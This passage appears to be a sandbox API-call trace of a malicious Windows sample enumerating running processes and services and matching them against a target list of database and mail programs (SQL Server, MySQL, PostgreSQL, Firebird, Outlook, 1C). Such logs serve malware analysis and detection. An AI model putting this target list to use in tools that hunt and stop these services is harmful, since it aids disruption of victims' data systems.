th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0093.248] lstrlenW (lpString="smss.exe") returned 8 [0093.248] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0093.248] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.248] lstrlenW (lpString="csrss.exe") returned 9 [0093.248] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0093.248] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0093.248] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0093.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0093.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0093.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0093.248] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0093.248] lstrlenW (lpString="wininit.exe") returned 11 [0093.248] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0093.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0093.248] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0093.249] lstrlenW (lpString="csrss.exe") returned 9 [0093.249] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0093.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0093.249] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0093.249] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0093.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0093.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0093.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0093.249] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0093.249] lstrlenW (lpString="winlogon.exe") returned 12 [0093.249] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0093.249] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0093.249] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0093.249] lstrlenW (lpString="services.exe") returned 12 [0093.249] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0093.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0093.249] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0093.249] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0093.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0093.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0093.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0093.250] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0093.250] lstrlenW (lpString="lsass.exe") returned 9 [0093.250] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0093.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0093.250] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0093.250] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0093.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0093.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0093.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0093.250] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0093.250] lstrlenW (lpString="lsm.exe") returned 7 [0093.250] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0093.250] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0093.250] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0093.250] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0093.250] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0093.250] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0093.250] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0093.250] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.251] lstrlenW (lpString="svchost.exe") returned 11 [0093.251] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0093.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0093.251] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0093.251] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0093.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0093.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0093.251] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.251] lstrlenW (lpString="svchost.exe") returned 11 [0093.251] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.251] lstrlenW (lpString="svchost.exe") returned 11 [0093.251] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.251] lstrlenW (lpString="svchost.exe") returned 11 [0093.251] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.252] lstrlenW (lpString="svchost.exe") returned 11 [0093.252] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0093.252] lstrlenW (lpString="audiodg.exe") returned 11 [0093.252] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.252] lstrlenW (lpString="svchost.exe") returned 11 [0093.252] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.252] lstrlenW (lpString="svchost.exe") returned 11 [0093.252] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0093.253] lstrlenW (lpString="userinit.exe") returned 12 [0093.253] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0093.253] lstrlenW (lpString="dwm.exe") returned 7 [0093.253] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0093.253] lstrlenW (lpString="explorer.exe") returned 12 [0093.253] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0093.253] lstrlenW (lpString="spoolsv.exe") returned 11 [0093.253] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0093.254] lstrlenW (lpString="taskhost.exe") returned 12 [0093.254] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.254] lstrlenW (lpString="svchost.exe") returned 11 [0093.254] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0093.254] lstrlenW (lpString="payload.exe") returned 11 [0093.254] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0093.254] lstrlenW (lpString="reader_sl.exe") returned 13 [0093.254] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0093.255] lstrlenW (lpString="dllhost.exe") returned 11 [0093.255] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0093.255] CloseHandle (hObject=0x190) returned 1 [0093.255] Sleep (dwMilliseconds=0x1f4) [0093.940] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0094.056] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0094.057] GetLastError () returned 0xea [0094.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe90) returned 0x4089028 [0094.057] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xe90, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0094.057] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0094.058] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.058] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.058] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.058] lstrlenW (lpString="AudioSrv") returned 8 [0094.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0094.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0094.058] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0094.059] lstrlenW (lpString="BFE") returned 3 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.059] lstrlenW (lpString="CryptSvc") returned 8 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.059] lstrlenW (lpString="CscService") returned 10 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0094.059] lstrlenW (lpString="DcomLaunch") returned 10 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.059] lstrlenW (lpString="Dhcp") returned 4 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.059] lstrlenW (lpString="Dnscache") returned 8 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.059] lstrlenW (lpString="DPS") returned 3 [0094.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.059] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.060] lstrlenW (lpString="eventlog") returned 8 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0094.060] lstrlenW (lpString="EventSystem") returned 11 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.060] lstrlenW (lpString="gpsvc") returned 5 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.060] lstrlenW (lpString="iphlpsvc") returned 8 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.060] lstrlenW (lpString="LanmanServer") returned 12 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.060] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.060] lstrlenW (lpString="lmhosts") returned 7 [0094.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.060] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.060] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.061] lstrlenW (lpString="MMCSS") returned 5 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0094.061] lstrlenW (lpString="MpsSvc") returned 6 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.061] lstrlenW (lpString="NlaSvc") returned 6 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.061] lstrlenW (lpString="nsi") returned 3 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0094.061] lstrlenW (lpString="PcaSvc") returned 6 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0094.061] lstrlenW (lpString="PlugPlay") returned 8 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0094.061] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0094.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0094.061] lstrlenW (lpString="Power") returned 5 [0094.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0094.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0094.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0094.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0094.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0094.062] lstrlenW (lpString="ProfSvc") returned 7 [0094.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0094.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0094.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 